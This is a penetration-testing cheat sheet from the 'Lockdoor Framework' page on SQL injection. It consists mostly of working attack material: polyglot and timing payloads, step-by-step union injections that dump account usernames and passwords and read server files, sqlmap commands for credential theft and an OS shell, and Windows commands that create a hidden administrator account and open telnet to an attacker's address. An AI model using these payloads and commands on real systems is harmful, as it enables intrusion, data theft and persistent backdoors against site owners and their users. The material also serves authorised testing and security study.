Lockdoor Framework

A Penetration Testing Framework

View on GitHub

SQL Injection

Core Idea: Does the page look like it might need to call on stored data?

There exist some SQLi polyglots, i.e (Mathias Karlsson);

SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/

Works in single quote context, works in double quote context, works in “straight into query” context!

You can also leverage the large database of fuzzlists from Seclists (https://github.com/danielmiessler/SecLists)

##SQL Injection Observations Blind is predominant, Error based is highly unlikely.

‘%2Bbenchmark(3200,SHA1(1))%2B’

‘+BENCHMARK(40000000,SHA1(1337))+’

SQLMap is king!

Lots of injection in web services!


SQL Injection Manually Step by Step

1. Determine if SQL injection exists

    single-quote
    back-slash
    double-hyphen
    forward-slash
    period
  Technique: Blind SQL Injection - True and False Values
  Field: username
  True Value (Using Proxy): ' or 1=1 --
  False Value (Using Proxy): ' and 1=0 --
    ' union Select null, null, null, sleep(5) --

2. Determine injection types that work

    Technique: Blind SQL Injection - Timing
    Page: login.php
    Field: username
    Value (Using Proxy): ' union Select null, case SUBSTRING(current_user(),1,1) when 'r' THEN sleep(5) ELSE sleep(0) END, null, null --
    Value (Using Direct Request): username=%27%20union%20Select%20null%2C%20case%20SUBSTRING%28current_user%28%29%2C1%2C1%29%20when%20%27r%27%20THEN%20sleep%285%29%20ELSE%20sleep%280%29%20END%2C%20null%2C%20null%20--%20&password=&login-php-submit-button=1

3. Attempt to determine database server brand

Technique: Direct Injection
Page: user-info.php
Field: username
Value (Using Proxy): ' union select null,VERSION() AS username,null,null --

4. Formulate and test query

5. Attempt to determine database name

Technique: Direct Injection
Page: user-info.php
Field: username
Value (Using Proxy): ' union select null,DATABASE() AS username,null,null --

6. Attempt to determine schema name

Technique: Direct Injection
Page: user-info.php
Field: username
Value (Using Proxy): ' union select null,table_schema AS username,null,null from INFORMATION_SCHEMA.TABLES--

7. Attempt to determine table(s) names

Technique: Direct Injection
Page: user-info.php
Field: username
Value (Using Proxy): ' union select null,table_schema AS username,table_name AS password,null from INFORMATION_SCHEMA.TABLES--

8. Attempt to determine column(s) names

Technique: Direct Injection
Recon: Extract table columns from database using a single field
Page: user-info.php
Field: Username
Value: ' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS--

9. Attempt to extract data

Technique: Direct Injection
Page: user-info.php
Field: Username
Value: ' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts --

10. Attempt to read files from server

Technique: Direct Injection
Page: user-info.php
Field: username
Value (relative path):
' union select null, LOAD_FILE('../README') AS username, null, null--

Value (absolute path):
' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts') AS username, null, null--
' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\inf\\cpu.inf') AS username, null, null--

11. Attempt to upload files to server

12. Attempt to execute commands. This is easier on SQL Server 2000 and 2005. MySQL has limited system command abilities. SQL Server 2008 disables system commands by default and requires them to be enabled.

13. Attempt to determine database computer name, IP address, username, version, etc.

MySQL Functions:
VERSION() - MySQL server version
USER() - Database user issuing query
DATABASE() - Database on server against which query is running

14. Attempt to pivot to database server level. This will largely depend on either being able to execute system commands via the database server or upload files to the file system. Uploading files would allow web application pages to be uploaded which can contain system calls.


Practical Steps for Manual SQLi

Testing to get a database Error

> http://blabla.com?id=1\
> http://blabla.com?id=1'

Sql comment to correct the error

# + is the encode of space
> http://blabla.com?id=1\--+
> http://blabla.com?id=1'#

join queries

To see how many columns used in this query

# 3 is our guess for used columns
> http://blabla.com?id=1' order by 3 --+

Reading data from database

# We usually get the output for one query only,
# So we should get rid of the first query by searching for
# a non exist value like -1
> http://blabla.com?id=-1' union all select 1,2,3 --+

Getting database name and version

> http://blabla.com?id=-1' union all select 1,database(),version() --+

Getting table name

# database name = security
> http://blabla.com?id=-1' union all select 1,table_name,3 from information_schema.tables where table_schema='security' --+

Getting all tables names

# database name = security
> http://blabla.com?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

Getting table columns

> http://blabla.com?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

Dumping all table data

> http://blabla.com?id=-1' union all select 1,group_concat(username),group_concat(password) from users --+

No quote injection

It is the same as with quote injection but using \ instead of ' for error detection and not using any thing in injection itself


Using SqlMap

> sqlmap -u URl -data DataToSentInPost -p PARAMETER(id) --level 3 risk 3 -random-agent --tor --check-tor --delay=500 --randomize=delay

SQLMAP

First we try to get which DB is running on the server

time sqlmap -r /path/to/request/file.txt --fingerprint

Another syntax

You copy the request with header and body from ZAP/burp and save it to a file then

time sqlmap -r /path/to/request/file.txt --fingerprint

Grabbing server banner

time sqlmap -r /path/to/request/file.txt --banner

Grabbing current user, current db, host name & is the current user an admin

time sqlmap -r /path/to/request/file.txt --current-user --current-db --hostname --is-dba

Grabbing DB users (and passwords is is-dba == true)

time sqlmap -r /path/to/request/file.txt --users --passwords

Grabbing DBs

time sqlmap -r /path/to/request/file.txt --dbs

Grabbing Tables

time sqlmap -r /path/to/request/file.txt -D <db_name> --tables

Grabbing Columns

time sqlmap -r /path/to/request/file.txt -D <db_name> -T <table1, table2> --columns

Grabbing data from specific columns

time sqlmap -r /path/to/request/file.txt -D <db_name> -T <table_name> -C <column1,column2,column3> --dump

Sometimes sqlmap can not find a unique column to figure out how many rows are there, so the work-around is to sort a column value so sqlmap figure out how many row are there

time sqlmap -r /path/to/request/file.txt -D <db_name> -T <table_name> --sql-query="SELECT column4,column7 FROM <db_name>.<table_name> ORDER BY <column4> DESC"

OR

time sqlmap -r /path/to/request/file.txt --sql-query="SELECT column4,column7 FROM <db_name>.<table_name> ORDER BY <column4> DESC"

Alternative way to get data from a DB

time sqlmap -r /path/to/request/file.txt -D <Db_name> --sql-query="SELECT column_name from information_schema.columns where table_name = 'user'"

Adding custom prefix or suffix to the sql query

time sqlmap -r /path/to/request/file.txt --prefix="SELSCT * FROM <table_name> WHERE column_name='" --suffix=" -- " --banner

Getting os-shell on the system

time sqlmap -r /path/to/request/file.txt --os-shell

Working with O/S Shell

> sc query state= all
> sc query tlnsvr
> sc config tlnserver start= demand
> sc start tlnsvr
> net user root toor /add
> net localgroup TelnetClients /add
> net localgroup Administrators root /add
> net localgroup TelnetClients root /add
> netsh firewall add portopening protocol=TCP port=23 name=telnet mode=enable scope=custom adresses=<your.public.ip.address>

http://server.url//cmd=ping%20


##Best SQL injection resources